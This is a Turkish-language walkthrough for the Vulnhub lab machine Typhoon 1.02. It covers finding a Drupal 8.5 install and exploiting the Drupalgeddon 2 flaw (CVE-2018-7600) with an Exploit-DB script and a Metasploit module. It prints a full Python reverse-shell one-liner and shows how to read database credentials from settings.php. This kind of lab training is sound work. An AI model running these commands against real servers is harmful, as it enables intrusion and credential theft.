Yazıda kullanılan Typhoon: 1.02 sanal makinesi Vulnhub sitesinden indirilebilir.
Typhoon: 1.02: https://www.vulnhub.com/entry/typhoon-102,267/
A) Drupal Dizininin Keşfi
Mevcut sanal makinenin TCP\80 portunda HTTP servisi çalışmaktadır.
nmap -Pn -n –open –top-ports 100 192.168.226.133
whatweb http://192.168.226.133
wfuzz ile dizin keşfi gerçekleştirildiğinde “/drupal” dizini keşfedilebilir.
wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt –hc 400,404,403 http://192.168.226.133/FUZZ
B) Drupal Sürümünün Keşfi
whatweb aracı kullanılarak ilgili dizine ait incelendiğinde Drupal’İn majör sürümünün 8 olduğu görülmektedir.
whatweb http://192.168.226.133/drupal
Varsayılan durumda Drupal kurulumunun bulunduğu dizindeki CHANGELOG.txt dosyasında Drupal’in sürümü hakkında bilgi edilinebilir. Ancak mevcut sanal makinede bu dosya silinmiştir.
http://192.168.226.133/drupal/CHANGELOG.txt
Drupal zafiyetlerinin tespiti için Droopescan indirilip kurulabilir.
git clone https://github.com/droope/droopescan.git
cd droopescan/
ls
pip install -r requirements.txt
history
Droopescan aracı ile eklentiler, temalar, sürümler listelenebilir. Droopescan aracı ile bilgi toplanabilecek CMS türleri aşağıdaki gibidir.
- drupal
- joomla
- moodle
- silverstripe
- wordpress
Standart bir keşif çalışması ile kullanılan Drupal sürümünün 8.5.* olduğu tespit edilmiştir.
droopescan scan drupal -n ‘all’ -e a -t 2 –hide-progressbar -u http://192.168.226.13/drupal/
Not: Sanal makine ele geçirildikten sonra Drupal sürümü “/var/www/html/drupal/core/lib/Drupal.php” dosyasında görülebilir.
ls
cd core/lib/Drupal
ls
cat Drupal.php | grep -i version
C) Drupal 8.5 Zafiyeti
Drupal 8.5 üzerinde CVE-2018-7600 ID’li uzaktan kod çalıştırma zafiyeti bulunmaktadır. Drupalgeddon 2 olarak da adlandırılan bu zafiyet, Form API (FAPI) AJAX olarak gönderiken dizi nesnesi tipindeki paramtrelerin uygun şekilde işlememesinden / temizlememesinden (sanitization) kaynaklanmaktadır. İstismar sonucunda kimlik doğrulamasız olarak Drupal çekirdeğinde drupal servisini çalıştıran kullanıcının yetkisi ile işlem yapılabilir. Zafiyetin detayı ile ilgili kaynaklardaki Checkpoint yazısı incelenebilir.
SA-CORE-2018-002 olarak bülteni çıkarılan bu zafiyet aşağıdaki Drupal sürümlerinde geçerlidir.
- Drupal 8.5.x < 8.5.1
- Drupal 8.4.x < 8.4.6
- Drupal 8.x < 8.3.9
- Drupal 7.x? < 7.58
- Drupal 6.x (EOL)
D) Exploit-DB 44449 Betiği ile Drupal 8.5 Zafiyetinin İstismarı
Zafiyetin istismarı için 44449 ID’li Ruby betiği kullanılabilir.
searchsploit -m 44449
ruby 44449.rb
Bu betik ile Drupal sürümüne göre farklı URL’lerin (Drupal 8 sürümleri için “user/register”; Drupal 7 sürümleri için “user/password”), farklı öğelerine (Drupal 8 sürümleri için “account/mail” ve “#post_render” parametresine; Drupal 7 sürümleri için “triggering_element_name” formuna ve “#post_render” parametresine), PHP fonksiyonları (“passthru” gibi) ile komut çalıştırılması sağlanabilir. Kaynaklardaki Dreadlocked bağlantısı kullanılarak istismar işlemi ile ilgili detaylar incelenebilir.
İstismar işlemi sırasında web kök dizini(“./”) veya alt dizinlere (“./sites/default/”, “./sites/default/files/”) PHP dosyası yazılamamış olsa da dosyasız (File-Less) olarak komut çalıştırılabilmiştir.
ruby 44449.rb http://192.168.226.133/drupal
id
uname -a
Not: (Muhtemelen) Dosya yazma işlemi başarısız olduğu için 44448.py betiği çalışmamakta ve kodun içerisindeki hello.txt diske yazılamamaktadır.
Ugly Shell olarak isimlendirilen komut satırından daha stabil bir komut satırına geçilebilir. Sanal makinede kurulu olan Python paketleri ile daha sağlam bir komut satırına geçiş sağlanabilir.
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.226.132”,5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
nc -nlvp 5555
$ python -c “import pty;pty.spawn(‘/bin/bash’);”
Mysql veritabanına ait kimlik bilgileri sites/default/settings.php dosyası içerisinden elde edilebilir.
ls sites/default
tail -12 sites/default/settings.php
E) MSF exploit/unix/webapp/drupal_drupalgeddon2 İstismar Modülü ile Drupal 8.5 Zafiyetinin İstismarı
Zafiyetin istismarı için MSF modülü de kullanılabilir. Bu modül ile varsayılan olarak “php/meterpreter/reverse_tcp” payload’u kullanılarak ters bağlantı elde edilebilir.
msfconsole -q
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOST 192.168.226.133
set TARGETURI /drupal
exploit
getuid
shell
python -c “import pty;pty.spawn(‘/bin/bash’);”
cat /etc/*release*
Belirtilen zafiyetin bulunduğu diğer sanal ortamlardan bazıları aşağıdaki gibidir:
- billu: b0x 2: https://www.vulnhub.com/entry/billu-b0x-2,238/
- Typhoon: 1.02: https://www.vulnhub.com/entry/typhoon-102,267/
Kaynaklar:
https://github.com/muratyesiltepe/typhoon-vm/blob/master/writeup.md
Typhoon Walkthroughs
https://research.checkpoint.com/uncovering-drupalgeddon-2/
https://github.com/dreadlocked/Drupalgeddon2